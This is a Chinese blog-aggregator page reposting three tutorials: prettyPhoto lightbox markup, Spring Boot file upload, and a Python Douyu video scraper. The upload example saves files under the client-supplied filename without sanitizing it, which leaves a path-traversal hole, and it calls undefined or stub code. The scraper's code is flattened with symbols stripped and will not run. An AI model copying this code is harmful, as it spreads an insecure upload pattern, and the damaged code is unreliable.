building" /> </a> <a href="images/fullscreen/3.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_3.jpg" width="60" height="60" alt="Fire!" /> </a> <a href="images/fullscreen/4.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_4.jpg" width="60" height="60" alt="Rock climbing" /> </a> <a href="images/fullscreen/5.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_5.jpg" width="60" height="60" alt="Fly kite, fly!" /> </a> 3、单个flash 复制代码代码如下: <a href="http://www.adobe.com/products/flashplayer/include/marquee/design.swf?width=792&height=294" rel="prettyPhoto[flash]" title="Flash 10 demo"> <img src="images/thumbnails/flash-logo.jpg" alt="Flash 10 demo" width="60" /> </a> 4、YouTube视频复制代码代码如下: <a href="http://www.youtube.com/watch?v=qqXi8WmQ_WM" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 5、Vimeo 复制代码代码如下: <a href="http://vimeo.com/8245346" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 6、QuickTime影片复制代码代码如下: <a title="Despicable Me" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/universal/despicableme/despicableme-tlr1_r640s.mov?width=640&height=360"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Despicable Me" width="50" /> </a> <a title="Tales from Earthsea" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/disney/talesfromearthsea/talesfromearthsea-tlr1_r640s.mov?width=640&height=340"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Tales from Earthsea" width="50" /> </a> <a title="Grease Sing-A-Long" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/paramount/greasesingalong/greasesingalong-tlr1_r640s.mov?width=640&height=272"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Grease Sing-A-Long" width="50" /> </a> 7、外部网站（iframe）复制代码代码如下: <a href="http://www.google.com?iframe=true&width=100%&height=100%" rel="prettyPhoto[iframes]" title="Google.com opened at 100%">Google.com</a> <a href="http://www.apple.com?iframe=true&width=500&height=250" rel="prettyPhoto[iframes]">Apple.com</a> <a href="http://www.twitter.com?iframe=true&width=400&height=200" rel="prettyPhoto[iframes]">Twitter.com</a> 8、普通文本复制代码代码如下: <a href="inline-1" rel="prettyPhoto" ><img src="/wp-content/themes/NMFE/images/thumbnails/earth-logo.jpg" alt="" width="50" /></a> <div id="inline-1" class="hide"> <p>这里是普通的文本</p> <p>今天给大家介绍的prettyPhoto希望大家能喜欢，这个是播放普通文本的html</p> </div> 9、AJAX内容复制代码代码如下: <a rel="prettyPhoto[ajax]" href="/demos/prettyPhoto-jquery-lightbox-clone/xhr_response.html? ajax=true&width=325&height=185">Ajax content</a> 三、总结 prettyBox图片播放插件很好用，赶紧用它来打造你的专属相册吧！本篇文章为转载内容。原文链接：https://blog.csdn.net/gong1422425666/article/details/72817469。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2024-01-14 22:09:23

279

转载

SpringBoot

Spring Boot文件上传：配置、大小限制、保存路径与HTTP客户端交互详解

...http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.multipart.MultipartFile; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; @Controller public class FileUploadController { @PostMapping("/upload") public ResponseEntity uploadFile(@RequestParam("file") MultipartFile file) { try { // 检查文件是否存在 if (file.isEmpty()) { return ResponseEntity.badRequest().body("Failed to upload empty file."); } // 获取文件名和类型 String fileName = file.getOriginalFilename(); String contentType = file.getContentType(); // 保存文件到指定路径 File targetFile = new File(upload.path + fileName); Files.copy(file.getInputStream(), Paths.get(targetFile.getAbsolutePath())); return ResponseEntity.ok("File uploaded successfully: " + fileName); } catch (IOException e) { return ResponseEntity.internalServerError().body("Failed to upload file: " + e.getMessage()); } } } 3. 测试文件上传功能在完成上述配置和编码后，你可以通过Postman或其他HTTP客户端向/upload端点发送一个包含文件的POST请求。确保在请求体中正确添加了文件参数，如： json { "file": "path/to/your/file" } 4. 处理异常与错误在实际应用中，文件上传可能会遇到各种异常情况，如文件过大、文件类型不匹配、服务器存储空间不足等。在这次的案例里，我们已经用了一段 try-catch 的代码来应对一些常见的错误情况了。就像你在日常生活中遇到小问题时，会先尝试解决，如果解决不了，就会求助于他人或寻找其他方法一样。我们也是这样，先尝试执行一段代码，如果出现预料之外的问题，我们就用 catch 部分来处理这些意外状况，确保程序能继续运行下去，而不是直接崩溃。对于更复杂的场景，例如检查文件类型或大小限制，可以引入更精细的逻辑： java @PostMapping("/upload") public ResponseEntity uploadFile(@RequestParam("file") MultipartFile file) { if (!isValidFileType(file)) { return ResponseEntity.badRequest().body("Invalid file type."); } if (!isValidFileSize(file)) { return ResponseEntity.badRequest().body("File size exceeds limit."); } // ... } private boolean isValidFileType(MultipartFile file) { // Check file type logic here } private boolean isValidFileSize(MultipartFile file) { // Check file size logic here } 结语通过以上步骤，你不仅能够实现在Spring Boot应用中进行文件上传的基本功能，还能根据具体需求进行扩展和优化。记住，良好的错误处理和用户反馈是提高用户体验的关键。希望这篇文章能帮助你更好地理解和运用Spring Boot进行文件上传操作。嘿，兄弟！你听过这样一句话吗？“实践出真知”，尤其是在咱们做项目的时候，更是得这么干！别管你是编程高手还是设计大师，多试错，多调整，才能找到最适合那个场景的那套方案。就像是做菜一样，不试试加点这个，少放点那个，怎么知道哪个味道最对路呢？所以啊，提升技能，咱们就得在实际操作中摸爬滚打，这样才能把技术玩儿到炉火纯青的地步！

2024-09-12 16:01:18

寂静森林

转载文章

[转载]练习：《斗鱼视频》m3u8流视频采集下载+思路+Python

...104,栏目ID'TYPE':1, 1=>按用户id采集列表，2=>按栏目ID采集列表'TIME_START':1,起始时间'TIME_ENT':500,结束时间'PAGE_START':1,起始页'PAGE_END':10,结束页'TIME_GE':0,每个下载间隔时间'POOL':False,是否开启线程池'CHECKID':True, True 过滤已经下载过的视频 False 不过滤'FILE_PATH':'F:/ceshi/',下载目录，【会自动创建文件夹】'TS_PATH':'F:/ceshi/download/',缓存文件目录，【会自动创建文件夹】'DB_URL':'localhost',数据库地址'DB_NAME':'douyu',数据库名称''DB_TABLE':'douyu'数据库表}MongoDB初始化client = pymongo.MongoClient(config['DB_URL'])mango_db = client[config['DB_NAME']]MongoDB存储def save_to_mango(result):if mango_db[config['DB_TABLE']].insert_one({'vid':result}):print('成功存储到MangoDB')return Truereturn FalseMongoDB验证重复def check_to_mongo(vid):count = mango_db[config['DB_TABLE']].find({'vid':vid}).count()if count==0:return Falsereturn True删除文件def del_file(page):if os.path.exists(page): 删除文件，可使用以下两种方法。os.remove(page) os.unlink(my_file)else:print('no such file:%s' % page)循环列表删除文件def loop_del_file(arr):for item in arr:del_file(item)请求器def get_content_requests(url):headers = {}headers['user-agent']='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36'headers['cookie'] = 'dy_did=07f83a57d1d2e22942e0883200001501; acf_did=07f83a57d1d2e22942e0883200001501; Hm_lvt_e99aee90ec1b2106afe7ec3b199020a7=1556514266,1557050422,1557208315; acf_auth=; acf_auth_wl=; acf_uid=; acf_nickname=; acf_username=; acf_own_room=; acf_groupid=; acf_notification=; acf_phonestatus=; _dys_lastPageCode=page_video,page_video; Hm_lpvt_e99aee90ec1b2106afe7ec3b199020a7=1557209469; _dys_refer_action_code=click_author_video_cate2'try:req_content = requests.get(url,headers = headers)if req_content.status_code == 200:return req_contentprint('请求失败：',url)return Noneexcept:print('请求失败：', url)return None把时间换算成秒def str_to_int(time):try:time_array = time.split(':')time_int = (int(time_array[0])60)+int(time_array[1])return time_intexcept:print('~~~~~计算视频时间失败~~~~~')return None提取需要采集的数据def get_list(html,type = 1):data = []try:list_json = json.loads(str(html))for om in list_json['data']['list']:gtime = str_to_int(om['video_str_duration'])if gtime > config['TIME_START'] and gtime < config['TIME_ENT']:if type == 2:data.append({'title': om['title'], 'vid': om['url'].split('show/')[1]})else:data.append({'title': om['title'], 'vid': om['hash_id']})return dataexcept:print('~~~~~数据提取失败~~~~~')return None解析playlist.m3u8def get_ts_list(m3u8):data = []try:html_m3u8_json = json.loads(m3u8)m3u8_text = get_content_requests(html_m3u8_json['data']['video_url'])m3u8_vurl =html_m3u8_json['data']['video_url'].split('playlist.m3u8?')[0]if m3u8_text:get_text = re.findall(',\n(.?).ts(.?)\n',m3u8_text.text,re.S)for item in get_text:data.append(m3u8_vurl+item[0]+'.ts'+item[1])return datareturn Noneexcept:print('~~~~~解析playlist.m3u8失败~~~~~')return None 杀死moviepy产生的特定进程def killProcess(): 处理python程序在运行中出现的异常和错误try: pids方法查看系统全部进程pids = psutil.pids()for pid in pids: Process方法查看单个进程p = psutil.Process(pid) print('pid-%s,pname-%s' % (pid, p.name())) 进程名if p.name() == 'ffmpeg-win64-v4.1.exe': 关闭任务 /f是强制执行，/im对应程序名cmd = 'taskkill /f /im ffmpeg-win64-v4.1.exe 2>nul 1>null' python调用Shell脚本执行cmd命令os.system(cmd)except:pass下载.ts文件def download_ts(m3u8_list,name):try:if not os.path.exists(config['FILE_PATH']):os.makedirs(config['FILE_PATH'])if not os.path.exists(config['TS_PATH']):os.makedirs(config['TS_PATH'])if os.path.exists(config['FILE_PATH']+name+'.mp4'):name = name+'_'+str(int(time.time()))print('开始下载：',name)L = []R = []for p in m3u8_list:ts_find = get_content_requests(p)file_ts = '{0}{1}.ts'.format(config['TS_PATH'],md5(ts_find.content).hexdigest())with open(file_ts,'wb') as f:f.write(ts_find.content)R.append(file_ts)hebing = VideoFileClip(file_ts)L.append(hebing)killProcess()print('下载完成：',file_ts)mp4file = '{0}{1}.mp4'.format(config['FILE_PATH'],name)final_clip = concatenate_videoclips(L)final_clip.to_videofile(mp4file, fps=24, remove_temp=True)killProcess()loop_del_file(R)print('\n下载完成：',name)print('')return Trueexcept:print('~~~~~合成.ts文件失败~~~~~')return None下载视频列表def list_get_kong(list_json):for item in list_json:y = Trueif config['CHECKID']:if check_to_mongo(item['vid']):print('~~~~~检测到重复项~~~~~')y = Falseif y:get_show_html = get_content_requests('https://vmobile.douyu.com/video/getInfo?vid=' + item['vid'])if get_show_html:m3u8_list = get_ts_list(get_show_html.text)if m3u8_list:download = download_ts(m3u8_list, item['title'])if download: save_to_mango(item['vid'])time.sleep(config['TIME_GE'])控制器def main(page):if config['TYPE']==1:print('~~~~~按用户ID采集~~~~~')listurl = 'https://v.douyu.com/video/author/getAuthorVideoListByNew?up_id={0}&cate2_id=0&limit=30&page={1}'.format(config['UID'],page)get_list_html = get_content_requests(listurl)if get_list_html:list_json = get_list(get_list_html.text,1)if list_json:list_get_kong(list_json)else:print('~~~~~按列表ID采集~~~~~')listurl = 'https://v.douyu.com/video/video/listData?page={1}&cate2Id={0}&action=new'.format(config['CID'],page)get_list_html = get_content_requests(listurl)if get_list_html:list_json = get_list(get_list_html.text,2)if list_json:list_get_kong(list_json)初始化if __name__=='__main__':if config['POOL']:groups = [x for x in range(config['PAGE_START'],config['PAGE_END']+1)]pool = Pool()pool.map(main, groups)else:for item in range(config['PAGE_START'],config['PAGE_END']+1):main(item)print('~~~~~已经完成【所有操作】~~~~~') 总结：众所周知，BiliBili是一个学习的网站！本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_35875470/article/details/89857445。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-12-18 11:34:00

119

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知识学习

实践的时候请根据实际情况谨慎操作。

随机学习一条linux命令：

hostnamectl - 查看和修改系统的主机名和其他相关设置。